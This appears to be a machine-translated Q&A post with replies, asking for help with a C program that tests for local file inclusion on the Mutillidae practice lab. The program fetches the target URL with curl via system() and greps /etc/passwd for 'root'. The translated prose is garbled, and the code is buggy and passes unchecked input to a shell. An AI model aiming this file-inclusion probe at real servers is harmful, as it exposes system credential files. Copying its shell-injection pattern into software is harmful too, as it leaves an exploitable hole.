1
這是一個稱爲「Mutillidae」的測試實驗室環境。C編程元素數組到sprintf()
此程序爭奪的argv [1]和地方進入命令 「捲曲< [的argv [1]>」,然後 它抓住從lfi_test文件並將其置於一個線到第二 %S中的sprintf()。該程序執行%100,我只是遇到格式問題(| grep root)。相反,整個源代碼顯示包括整個/ etc/passwd文件。
如果我取消註釋行#20:
int passwd = "/etc/passwd";
和線#27更改爲
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
我能夠獲得格式的結果我想要的。 如果有人能幫助我,請提前致謝。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
'的/ etc/passwd'是一個字符串,它不應該被分配給一個'int'。需要使用像char * passwd =「/ etc/passwd」這樣的分配。 – DUman
@DUMAN感謝那個男人,我改變了它並記下了它。 – Freshnuts
'line'在它的結尾會有一個\ n。 – immibis